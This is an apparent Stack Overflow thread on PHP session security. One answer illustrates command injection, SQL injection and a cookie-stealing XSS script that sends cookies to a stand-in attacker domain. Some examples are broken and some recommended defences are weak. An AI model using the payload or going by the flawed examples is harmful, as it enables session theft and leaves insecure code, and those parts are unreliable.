Securing PHP sessions from XSS attacks [closed] - php

Question

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 10 years ago.
I've been reading a lot of articles on owasp.org and one of things that I remember most and couldn't understand well is securing PHP sessions.
I couldn't understand well how securing sessions goes and therefore I am asking here. What are the best way to secure sessions in PHP?
Side question: Are file inputs vulnerable by XSS?
This is the source for PHP sessions hijacking:
OWASP.org: PHP Security Cheat Sheet

Answer 1

What are the best way to secure sessions in PHP?
Security is nothing like let's say a bottle of milk you go buying in the shoppe. Reading customer reviews will probably tell you what the best milk is, however for Security this is a little different.
The customer reviews is what Owasp outlines. It tells you the general dynamics and implications to secure session handling.
As PHP sessions is only some kind of basic feature offered by PHP itself, there is not much to tell you what the best way is to secure these sessions, because it depends a lot on how you use that feature.
However one clear part of that best way to use PHP sessions, is to keep an eye on security reportings and reviews of PHP itself and the session feature in sepecific. Then take care you keep current to the version of PHP that offers the best way to secure sessions, which might be the latest stable version. Sometimes if flaws are reported, things are not entirely fixed in the next version, so take care.
Everything else not related to PHP specifically is undefined and Owasp can only offer a subset here.
So for security it is absolutely important that you first understand what is outlined in the Owasp documentation before you can start to apply this to (your) PHP code. E.g. by asking here, the best direction that can be given IMHO is that you learn harder to understand what is going on and what is meant in the Owasp docs.
Understanding how things work is key in security.

Answer 2

Here are some of the major issues to keep in mind:
Not validating user input
Suppose you have a web page that allows user to see the contents of a folder (for example your a hosting company and showing the user their files on the server)
Here is some code that might make it happen:
$directory = $_GET['directory'];
exec("ls $directory", $result);
An attacker can exploit this by passing in other commands in to the url string, such as:
ls -LR
Session Hijacking
Each session has a unique ID, if an attacker gets a hold of it they can (potentially) use it to obtain confidential information.
To protect against this have the user reauthenticate (with their passwords) before doing anything sensitive (for example, if the user wants to reset their password, force them to enter the old password first)
XSS (cross site scripting attack)
Whenever you have a site with user generated content (a good example of this is comments on a blog), there is a potential threat that an attacker will place javaScript in to his content (read: his comment) that could potentially harm all users that come to the page.
Here is an example:
<script>
document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie;
</script>
This code will allow the attackers website (hackingYou.com) to steal the cookie that you have for the website you are currently visiting.
One way to protect against this is to remove any HTML from any string being inputted using the following command:
strip_tags($input);
SQL Injection
(wouldn't be a decent answer without this one)
Suppose you have a web page that logs in users to a site. In order to log them in successfully you check for their record in a DB.
Here is how it might be coded:
$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";
An attacker can exploit this by entering in to the password field:
abcd OR WHERE 1 = 1
The resulting sql statement would look like this:
SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;
This would spit out the full table of ALL usernames and passwords to the attacker.
To protect against this "sanitize" your input strings for SQL using the following command:
mysql_real_escape_string($input)
This is most of the basics, obviously one should always keep up to date by reading the latest security bulletins, such as:
Bug Track
PHP Security Consortium (PHP experts who focus on security)
OWASP

Answer 3

The best way to ensure security to all your envoirment is to learn a PHP web framework, which wil give you, ready-to-go, security level inputs.
Obviously , security, doesn't exist, it exist a better security and a worst security, what i suggest you is to not reinvent the wheel, so web frameworks are deeply fixed everyday, according to community bug/hack reports, and this , i think, is the biggest security level you can get!